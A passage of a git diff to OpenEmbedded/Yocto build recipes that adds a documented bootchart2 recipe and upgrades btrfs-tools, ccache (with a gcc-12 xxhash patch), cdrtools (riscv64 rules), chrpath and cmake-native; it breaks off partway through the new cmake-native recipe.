@@ -0,0 +1,162 @@
+# Copyright (c) 2013 LG Electronics, Inc.
+# Copyright (C) 2014 Intel Corp.
+
+# This recipe creates packages for the bootchart2 system-wide profiler daemon
+# and related utilities. Depending on the images you're building, additional
+# configuration may be needed in order to use it.
+#
+# Packages:
+# * bootchart2 - The daemon itself.
+# * pybootchartgui - Python program to visualize and display the data
+# collected by bootchart2 or compatible daemons such as the original
+# bootchart.
+# * bootchartd-stop-initscript - A SysV init script to stop data collection
+# when booting completes (see below for details.)
+#
+# While bootchart2 is designed to stop collecting data roughly when the boot
+# process completes, it is not exactly a stopwatch. It has a list of programs
+# which are supposed signify that the boot process has completed (for example,
+# openbox or gnome-shell,) but it waits a full 20 seconds after such a program
+# is launched before stopping itself, to collect additional data.
+#
+# If you are using a window manager or GUI which isn't included in bootchart2's
+# default configuration file, you should write bbappend file to amend
+# bootchartd.conf and add it to EXIT_PROC. An example of this is shown in this
+# recipe, where the Matchbox window manager (used by Sato) is added.
+#
+# If you want data collection to end at a certain point exactly, you should
+# arrange for the following command to be run:
+# bootchartd stop
+# You might set this command to be launched by the desktop environment shipped
+# on the image you're building after the other startup programs are complete.
+# This will not incur the 20 second wait period and will cause bootchart2 to
+# behave a bit more like a stopwatch. An example of this is shown in this
+# recipe, specifically the bootchartd-stop-initscript package, which stops data
+# collection as the last action when switching to runlevels 2 through 5. You can
+# add bootchartd-stop-initscript to IMAGE_INSTALL if you need to use it.
+#
+# Unless you're doing something special, if your image does not launch an X
+# window manager, you will need to add bootchartd-stop-initscript to your image.
+#
+# Bootchart2 can be started in two ways. Data collection can be initiated by
+# running the following command:
+# bootchartd start
+# However, for the most complete data, the bootchart2 developers recommend
+# running it as PID 1. This can be done by adding the following to the kernel
+# command line parameters in the bootloader setup:
+# init=/sbin/bootchartd
+# When invoked this way, bootchart2 will set itself up and then automatically
+# run /sbin/init. For example, when booting the default qemux86 image, one might
+# use a command like this:
+# runqemu qemux86 bootparams="initcall_debug printk.time=y quiet \
+# init=/sbin/bootchartd"
+#
+# Neither method is actually implemented here, choose what works for you.
+#
+# If you are building your image with systemd instead of SysV init, bootchart2
+# includes systemd service files to begin collection automatically at boot and
+# end collection automatically 20 seconds after the boot process has completed.
+# However, be aware that systemd tends to start bootchart2 relatively late into
+# the boot process, so it's highly recommended to use bootchart2 as PID 1. If
+# you're using systemd and you wish to use another method to stop data
+# collection at a time of your choosing, you may do so as long as you get to it
+# before the 20 second timeout of the systemd service files. Also, you may write
+# a bbappend to patch bootchart2-done.timer.in to increase or decrease the
+# timeout. Decreasing it to 0 will make it behave like
+# bootchartd-stop-initscript.
+#
+# By default, when data collection is stopped, a file named bootchart.tgz will
+# be created in /var/log. If pybootchartgui is included in your image,
+# bootchart.png will also be created at the same time. However, this results in
+# a noticeable hitch or pause at boot time, which may not be what you want on an
+# embedded device. So you may prefer to omit pybootchartgui from your image. In
+# that case, copy bootchart.tgz over to your development system and generate
+# bootchart.png there. To get pybootchartgui on your development system, you can
+# either install it directly from some other source, or build bootchart2-native
+# and find pybootchartgui in the native sysroot:
+# bitbake bootchart2-native
+# ./tmp/sysroots/x86_64-linux/usr/bin/pybootchartgui /path/to/bootchart.tgz
+# Note that, whether installed on your build system or on your image, the
+# pybootchartgui provided by this recipe does not support the -i option. You
+# will need to install pybootchartgui by other means in order to run it in
+# interactive mode.
+
+SUMMARY = "Booting sequence and CPU,I/O usage monitor"
+DESCRIPTION = "Monitors where the system spends its time at start, creating a graph of all processes, disk utilization, and wait time."
+HOMEPAGE = "https://github.com/mmeeks/bootchart"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=44ac4678311254db62edf8fd39cb8124"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
+
+SRC_URI = "git://github.com/xrmx/bootchart.git;branch=master;protocol=https \
+ file://bootchartd_stop.sh \
+ file://0001-collector-Allocate-space-on-heap-for-chunks.patch \
+ file://0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch \
+ file://0001-Do-not-include-linux-fs.h.patch \
+ "
+
+S = "${WORKDIR}/git"
+SRCREV = "868a2afab9da34f32c007d773b77253c93104636"
+
+
+inherit systemd update-rc.d python3native update-alternatives
+
+ALTERNATIVE:${PN} = "bootchartd"
+ALTERNATIVE_LINK_NAME[bootchartd] = "${base_sbindir}/bootchartd"
+ALTERNATIVE_PRIORITY = "100"
+
+# The only reason to build bootchart2-native is for a native pybootchartgui.
+BBCLASSEXTEND = "native"
+
+SYSTEMD_SERVICE:${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
+
+UPDATERCPN = "bootchartd-stop-initscript"
+INITSCRIPT_NAME = "bootchartd_stop.sh"
+INITSCRIPT_PARAMS = "start 99 2 3 4 5 ."
+
+do_compile:prepend () {
+ export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
+ export BINDIR="${bindir}"
+ export LIBDIR="/${baselib}"
+ export EARLY_PREFIX="${root_prefix}"
+}
+
+do_install () {
+ install -d ${D}${sysconfdir} # needed for -native
+ export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
+ export BINDIR="${bindir}"
+ export DESTDIR="${D}"
+ export LIBDIR="/${baselib}"
+ export EARLY_PREFIX="${root_prefix}"
+
+ oe_runmake install NO_PYTHON_COMPILE=1
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/bootchartd_stop.sh ${D}${sysconfdir}/init.d
+
+ echo 'EXIT_PROC="$EXIT_PROC matchbox-window-manager"' >> ${D}${sysconfdir}/bootchartd.conf
+
+ # Use python 3 instead of python 2
+ sed -i -e '1s,#!.*python.*,#!${USRBINPATH}/env python3,' ${D}${bindir}/pybootchartgui
+
+ # The timestamps embedded in compressed man pages is not reproducible
+ gzip -d ${D}${mandir}/man1/*.gz
+}
+
+PACKAGES =+ "pybootchartgui"
+FILES:pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
+RDEPENDS:pybootchartgui = "python3-pycairo python3-compression python3-image python3-math python3-shell python3-compression python3-codecs"
+RDEPENDS:${PN}:class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
+RDEPENDS:${PN}:class-target += "lsb-release"
+DEPENDS:append:class-native = " python3-pycairo-native"
+
+PACKAGES =+ "bootchartd-stop-initscript"
+FILES:bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
+RDEPENDS:bootchartd-stop-initscript = "${PN}"
+
+FILES:${PN} += "${base_libdir}/bootchart/bootchart-collector"
+FILES:${PN} += "${base_libdir}/bootchart/tmpfs"
+FILES:${PN} += "${libdir}"
+FILES:${PN}-doc += "${datadir}/docs"
+
+RCONFLICTS:${PN} = "bootchart"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-Add-a-possibility-to-specify-where-python-modules-ar.patch b/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-Add-a-possibility-to-specify-where-python-modules-ar.patch
index 5846f04d1a..4b1797b65f 100644
--- a/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-Add-a-possibility-to-specify-where-python-modules-ar.patch
+++ b/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-Add-a-possibility-to-specify-where-python-modules-ar.patch
@@ -1,4 +1,4 @@
-From d3adfc21c9cc264bd191722f102963cbc4794259 Mon Sep 17 00:00:00 2001
+From 980f6edc269fa3ef8d4d4b9cd1aada2328131c19 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 23 May 2018 21:20:35 +0300
Subject: [PATCH] Add a possibility to specify where python modules are
@@ -11,10 +11,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Makefile b/Makefile
-index 1697794c..8ab38818 100644
+index 374f59b9..ed083f6b 100644
--- a/Makefile
+++ b/Makefile
-@@ -651,7 +651,7 @@ endif
+@@ -959,7 +959,7 @@ endif
ifeq ($(PYTHON_BINDINGS),1)
install_python: libbtrfsutil_python
$(Q)cd libbtrfsutil/python; \
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.7.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.7.bb
deleted file mode 100644
index e61ea9bf89..0000000000
--- a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.7.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Checksumming Copy on Write Filesystem utilities"
-DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
-implementing advanced features while focusing on fault tolerance, repair and \
-easy administration. \
-This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
-btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
-
-HOMEPAGE = "https://btrfs.wiki.kernel.org"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067"
-SECTION = "base"
-DEPENDS = "util-linux attr e2fsprogs lzo acl"
-DEPENDS_append_class-target = " udev"
-RDEPENDS_${PN} = "libgcc"
-
-SRCREV = "11acf45eea6dd81e891564967051e2bb10bd25f7"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git \
- file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
- "
-
-PACKAGECONFIG ??= "python"
-PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, asciidoc-native xmlto-native"
-PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
-PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
-
-inherit autotools-brokensep pkgconfig manpages
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'distutils3-base', '', d)}
-
-CLEANBROKEN = "1"
-
-EXTRA_OECONF_append_libc-musl = " --disable-backtrace "
-EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
-EXTRA_PYTHON_CFLAGS_class-native = ""
-EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
-EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
-
-do_configure_prepend() {
- # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
- mkdir -p ${S}/config
- cp -f $(automake --print-libdir)/install-sh ${S}/config/
-}
-
-S = "${WORKDIR}/git"
-
-do_install_append() {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.8.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.8.bb
new file mode 100644
index 0000000000..15cc7ac244
--- /dev/null
+++ b/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.8.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Checksumming Copy on Write Filesystem utilities"
+DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
+implementing advanced features while focusing on fault tolerance, repair and \
+easy administration. \
+This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
+btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
+
+HOMEPAGE = "https://btrfs.wiki.kernel.org"
+
+LICENSE = "GPL-2.0-only & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = " \
+ file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://libbtrfsutil/COPYING;md5=4fbd65380cdd255951079008b364516c \
+"
+SECTION = "base"
+DEPENDS = "util-linux zlib"
+
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git;branch=master;protocol=https \
+ file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
+ "
+SRCREV = "3793e987d2b4e878410da16f33d963043d137d48"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= " \
+ programs \
+ convert \
+ python \
+ crypto-builtin \
+"
+PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, python3-sphinx-native python3-sphinx-rtd-theme-native"
+PACKAGECONFIG[programs] = "--enable-programs,--disable-programs"
+PACKAGECONFIG[convert] = "--enable-convert --with-convert=ext2,--disable-convert --without-convert,e2fsprogs"
+PACKAGECONFIG[zoned] = "--enable-zoned,--disable-zoned"
+PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
+PACKAGECONFIG[lzo] = "--enable-lzo,--disable-lzo,lzo"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
+PACKAGECONFIG[udev] = "--enable-libudev,--disable-libudev,udev"
+
+# Pick only one crypto provider
+PACKAGECONFIG[crypto-builtin] = "--with-crypto=builtin"
+PACKAGECONFIG[crypto-libgcrypt] = "--with-crypto=libgcrypt,,libgcrypt"
+PACKAGECONFIG[crypto-libsodium] = "--with-crypto=libsodium,,libsodium"
+PACKAGECONFIG[crypto-libkcapi] = "--with-crypto=libkcapi,,libkcapi"
+
+inherit autotools-brokensep pkgconfig manpages
+inherit_defer ${@bb.utils.contains('PACKAGECONFIG', 'python', 'setuptools3-base', '', d)}
+
+CLEANBROKEN = "1"
+
+EXTRA_OECONF = "--enable-largefile"
+EXTRA_OECONF:append:libc-musl = " --disable-backtrace "
+EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
+EXTRA_PYTHON_CFLAGS:class-native = ""
+EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
+EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
+
+do_configure:prepend() {
+ # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
+ mkdir -p ${S}/config
+ cp -f $(automake --print-libdir)/install-sh ${S}/config/
+}
+
+
+do_install:append() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
+ fi
+}
+
+RDEPENDS:${PN} = "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/build-compare/build-compare_git.bb b/meta/recipes-devtools/build-compare/build-compare_git.bb
deleted file mode 100644
index 74a954db46..0000000000
--- a/meta/recipes-devtools/build-compare/build-compare_git.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Build Result Compare Script"
-DESCRIPTION = "This package contains scripts to find out if the build result\
-differs to a former build."
-HOMEPAGE = "https://github.com/openSUSE/build-compare"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://github.com/openSUSE/build-compare.git"
-
-# Date matches entry in build-compare.changes and date of SRCREV.
-#
-SRCREV = "102d844ce052c6dec6c56ee1d471bde72a1b4633"
-PE = "1"
-PV = "2020.05.29+git${SRCPV}"
-UPSTREAM_CHECK_COMMITS = "1"
-
-S = "${WORKDIR}/git"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install() {
- install -d ${D}/${bindir}
- install -m 755 functions.sh ${D}/${bindir}
- install -m 755 pkg-diff.sh ${D}/${bindir}
- install -m 755 same-build-result.sh ${D}/${bindir}
- install -m 755 srpm-check.sh ${D}/${bindir}
-}
-
-RDEPENDS_${PN} += "bash"
diff --git a/meta/recipes-devtools/ccache/ccache_3.7.11.bb b/meta/recipes-devtools/ccache/ccache_3.7.11.bb
deleted file mode 100644
index fd004f4c9b..0000000000
--- a/meta/recipes-devtools/ccache/ccache_3.7.11.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "a fast C/C++ compiler cache"
-DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
-by caching the result of previous compilations and detecting when the \
-same compilation is being done again. Supported languages are C, C\+\+, \
-Objective-C and Objective-C++."
-HOMEPAGE = "http://ccache.samba.org"
-SECTION = "devel"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=22d514dbc01fdf9a9784334b6b59417a"
-
-DEPENDS = "zlib"
-
-SRC_URI = "https://github.com/ccache/ccache/releases/download/v${PV}/${BP}.tar.gz"
-SRC_URI[sha256sum] = "34309a59d4b6b6b33756366aa9d3144a4655587be9f914476b4c0e2d36365f01"
-
-UPSTREAM_CHECK_URI = "https://github.com/ccache/ccache/releases/"
-
-inherit autotools
-
-# Remove ccache-native's dependencies, so that it can be used widely by
-# other native recipes.
-DEPENDS_class-native = ""
-EXTRA_OECONF_class-native = "--with-bundled-zlib"
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL = "patch"
-
-BBCLASSEXTEND = "native"
-
-do_configure_class-native() {
- oe_runconf
-}
diff --git a/meta/recipes-devtools/ccache/ccache_4.9.1.bb b/meta/recipes-devtools/ccache/ccache_4.9.1.bb
new file mode 100644
index 0000000000..0d447c4915
--- /dev/null
+++ b/meta/recipes-devtools/ccache/ccache_4.9.1.bb
@@ -0,0 +1,26 @@
+SUMMARY = "a fast C/C++ compiler cache"
+DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
+by caching the result of previous compilations and detecting when the \
+same compilation is being done again. Supported languages are C, C\+\+, \
+Objective-C and Objective-C++."
+HOMEPAGE = "http://ccache.samba.org"
+SECTION = "devel"
+
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=9896d6f0aee4d89b9e5ff0afaae0af06"
+
+DEPENDS = "zstd"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
+ file://0001-xxhash.h-Fix-build-with-gcc-12.patch \
+ "
+SRC_URI[sha256sum] = "12834ecaaaf2db069dda1d1d991f91c19e3274cc04a471af5b64195def17e90f"
+
+inherit cmake github-releases
+
+PATCHTOOL = "patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG[docs] = "-DENABLE_DOCUMENTATION=ON,-DENABLE_DOCUMENTATION=OFF,asciidoc"
+PACKAGECONFIG[redis] = "-DREDIS_STORAGE_BACKEND=ON,-DREDIS_STORAGE_BACKEND=OFF,hiredis"
diff --git a/meta/recipes-devtools/ccache/files/0001-xxhash.h-Fix-build-with-gcc-12.patch b/meta/recipes-devtools/ccache/files/0001-xxhash.h-Fix-build-with-gcc-12.patch
new file mode 100644
index 0000000000..e65b830257
--- /dev/null
+++ b/meta/recipes-devtools/ccache/files/0001-xxhash.h-Fix-build-with-gcc-12.patch
@@ -0,0 +1,37 @@
+From d17fdacf4892a15fafb56b0890ece05b485e89fb Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Mon, 6 Jun 2022 17:53:20 +0800
+Subject: [PATCH] xxhash.h: Fix build with gcc-12
+
+Remove inline attribute to fix below build failure:
+ | /buildarea/tmp/work/core2-64-poky-linux/ccache/4.6.1-r0/ccache-4.6.1/src/third_party/xxhash.h:3932:1: error: inlining failed in call to 'always_inline' 'XXH3_accumulate_512_sse2': function not considered for inlining
+ 3932 | XXH3_accumulate_512_sse2( void* XXH_RESTRICT acc,
+ | ^~~~~~~~~~~~~~~~~~~~~~~~
+ /buildarea/tmp/work/core2-64-poky-linux/ccache/4.6.1-r0/ccache-4.6.1/src/third_party/xxhash.h:4369:9: note: called from here
+ 4369 | f_acc512(acc,
+ | ^~~~~~~~~~~~~
+ 4370 | in,
+ | ~~~
+ 4371 | secret + n*XXH_SECRET_CONSUME_RATE);
+
+Upstream-Status: Submitted [https://github.com/Cyan4973/xxHash/pull/720]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
+---
+ src/third_party/xxhash.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/third_party/xxhash.h b/src/third_party/xxhash.h
+index a18e8c7..1b72307 100644
+--- a/src/third_party/xxhash.h
++++ b/src/third_party/xxhash.h
+@@ -2107,7 +2107,7 @@ static void* XXH_memcpy(void* dest, const void* src, size_t size)
+ # define XXH_NO_INLINE static
+ /* enable inlining hints */
+ #elif defined(__GNUC__) || defined(__clang__)
+-# define XXH_FORCE_INLINE static __inline__ __attribute__((always_inline, unused))
++# define XXH_FORCE_INLINE static
+ # define XXH_NO_INLINE static __attribute__((noinline))
+ #elif defined(_MSC_VER) /* Visual Studio */
+ # define XXH_FORCE_INLINE static __forceinline
diff --git a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
index c08da6cdca..bf8be1ad0c 100644
--- a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
+++ b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
@@ -3,13 +3,17 @@
# Released under the MIT license (see packages/COPYING)
SUMMARY = "A set of tools for CD recording, including cdrecord"
HOMEPAGE = "http://sourceforge.net/projects/cdrtools/"
+DESCRIPTION = "cdrecord tool is Highly portable CD/DVD/BluRay command line recording software."
SECTION = "console/utils"
-LICENSE = "GPLv2 & CDDL-1.0 & LGPLv2.1+"
+LICENSE = "GPL-2.0-only & CDDL-1.0 & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=32f68170be424c2cd64804337726b312"
+DEPENDS += "gnu-config-native"
+
SRC_URI = " \
${SOURCEFORGE_MIRROR}/project/cdrtools/cdrtools-${PV}.tar.bz2 \
file://0001-Don-t-set-uid-gid-during-install.patch \
+ file://riscv64-linux-gcc.rul \
"
SRC_URI[md5sum] = "7d45c5b7e1f78d85d1583b361aee6e8b"
@@ -22,6 +26,12 @@ export ac_cv_prog_CC = "${CC}"
inherit native
+do_configure() {
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/autoconf
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/autoconf
+ install -m 0644 ${WORKDIR}/riscv64-linux-gcc.rul ${S}/RULES/
+}
+
do_install() {
make install GMAKE_NOWARN=true INS_BASE=${prefix} DESTDIR=${D}
}
diff --git a/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul b/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul
new file mode 100644
index 0000000000..3e930225dc
--- /dev/null
+++ b/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul
@@ -0,0 +1,65 @@
+#ident "@(#)i586-linux-gcc.rul 1.18 18/11/07 "
+###########################################################################
+# Written 1996-2018 by J. Schilling
+###########################################################################
+#
+# Platform dependent MACROS for Linux
+#
+###########################################################################
+# Copyright (c) J. Schilling
+###########################################################################
+# The contents of this file are subject to the terms of the
+# Common Development and Distribution License, Version 1.0 only
+# (the "License"). You may not use this file except in compliance
+# with the License.
+#
+# See the file CDDL.Schily.txt in this distribution for details.
+# A copy of the CDDL is also available via the Internet at
+# http://www.opensource.org/licenses/cddl1.txt
+#
+# When distributing Covered Code, include this CDDL HEADER in each
+# file and include the License file CDDL.Schily.txt from this distribution.
+###########################################################################
+include $(SRCROOT)/$(RULESDIR)/rules.prg
+###########################################################################
+include $(SRCROOT)/$(RULESDIR)/cc-$(C_ARCH).rul
+
+#
+# LINUX_SRC_INCLUDE is defined in DEFAULTS/Defaults.linux
+#
+INCDIRSX += $(LINUX_SRC_INCLUDE)
+OSDEFS +=
+
+KDEFINES= -DKERNEL -D_KERNEL
+
+LIB_PREFIX= lib
+LIB_SUFFIX= .a
+SHL_SUFFIX= .so.$(DYNMAJOR).$(DYNMINOR)
+
+LIB_SOCKET=
+LIB_MATH= -lm
+LIB_KVM=
+
+#
+# Sunpro C/C++ run on Solaris and Linux and both have linkers
+# that support mapfiles
+#
+MAPVERS= $(_MAPVERS) # This enables to use mapfiles
+#
+# The GNU linker is buggy and does not like the official order in linker map
+# files for symbol versioning. The following command reverses the order of
+# the version names in the linker map file.
+#
+MAPFILE_POST= | sed 's/^SCHILY/+SCHILY/' | tr '\012' '@' | tr '+' '\012' | sort -V | tr '@' '\012'
+
+#LDOPTS= $(LIBS_PATH) $(LDPATH) $(RUNPATH:-R%=-Wl,-R%)
+#
+# Uncomment the next line in case you are on an old Linux version that
+# does not support the -R linker flag.
+#
+#LDOPTS= $(LIBS_PATH) $(LDPATH)
+LDOPTMAP= $(PMAPVERS:%=-Wl,--version-script=%)
+LDOPTDYN= -shared -Wl,-soname,$(TARGET) $(LDOPTMAP)
+
+LORDER= echo
+TSORT= cat
diff --git a/meta/recipes-devtools/chrpath/chrpath_0.16.bb b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
index 8de8850576..d33c7837a1 100644
--- a/meta/recipes-devtools/chrpath/chrpath_0.16.bb
+++ b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
@@ -2,9 +2,8 @@ SUMMARY = "Tool to edit rpath in ELF binaries"
DESCRIPTION = "chrpath allows you to change the rpath (where the \
application looks for libraries) in an application. It does not \
(yet) allow you to add an rpath if there isn't one already."
-HOMEPAGE = "http://alioth.debian.org/projects/chrpath/"
-BUGTRACKER = "http://alioth.debian.org/tracker/?atid=412807&group_id=31052"
-LICENSE = "GPLv2"
+HOMEPAGE = "https://tracker.debian.org/pkg/chrpath"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
SRC_URI = "${DEBIAN_MIRROR}/main/c/${BPN}/${BPN}_${PV}.orig.tar.gz \
@@ -17,9 +16,9 @@ inherit autotools
# We don't have a staged chrpath-native for ensuring our binary is
# relocatable, so use the one we've just built
-CHRPATH_BIN_class-native = "${B}/chrpath"
+CHRPATH_BIN:class-native = "${B}/chrpath"
-PROVIDES_append_class-native = " chrpath-replacement-native"
+PROVIDES:append:class-native = " chrpath-replacement-native"
NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.17.3.bb b/meta/recipes-devtools/cmake/cmake-native_3.17.3.bb
deleted file mode 100644
index d91e42ef9a..0000000000
--- a/meta/recipes-devtools/cmake/cmake-native_3.17.3.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require cmake.inc
-inherit native
-
-DEPENDS += "bzip2-replacement-native xz-native zlib-native curl-native ncurses-native"
-
-SRC_URI += "file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
- file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
- "
-
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CMAKE_EXTRACONF = "\
- -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
- -DBUILD_CursesDialog=1 \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_EXPAT=0 \
- -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
- -DHAVE_SYS_ACL_H=0 \
-"
-
-do_configure () {
- ${S}/configure --verbose --prefix=${prefix} \
- ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
- ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
- -- ${CMAKE_EXTRACONF}
-}
-
-do_compile() {
- oe_runmake
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- # The following codes are here because eSDK needs to provide compatibilty
- # for SDK. That is, eSDK could also be used like traditional SDK.
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
- mkdir -p ${D}${base_prefix}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
-}
-
-do_compile[progress] = "percent"
-
-SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.28.3.bb b/meta/recipes-devtools/cmake/cmake-native_3.28.3.bb
new file mode 100644
index 0000000000..546d117156
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake-native_3.28.3.bb
@@ -0,0 +1,67 @@
+require cmake.inc
+inherit native
+
+DEPENDS += "bzip2-replacement-native xz-native zlib-native ncurses-native zstd-native openssl-native"
+
+SRC_URI += "file://OEToolchainConfig.cmake \
+ file://environment.d-cmake.sh \
+ file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
+ file://0001-CMakeLists.txt-disable-USE_NGHTTP2.patch \
+ "
+
+LICENSE:append = " & BSD-1-Clause & MIT & BSD-2-Clause & curl"
+LIC_FILES_CHKSUM:append = " \
+ file://Utilities/cmjsoncpp/LICENSE;md5=5d73c165a0f9e86a1342f32d19ec5926 \
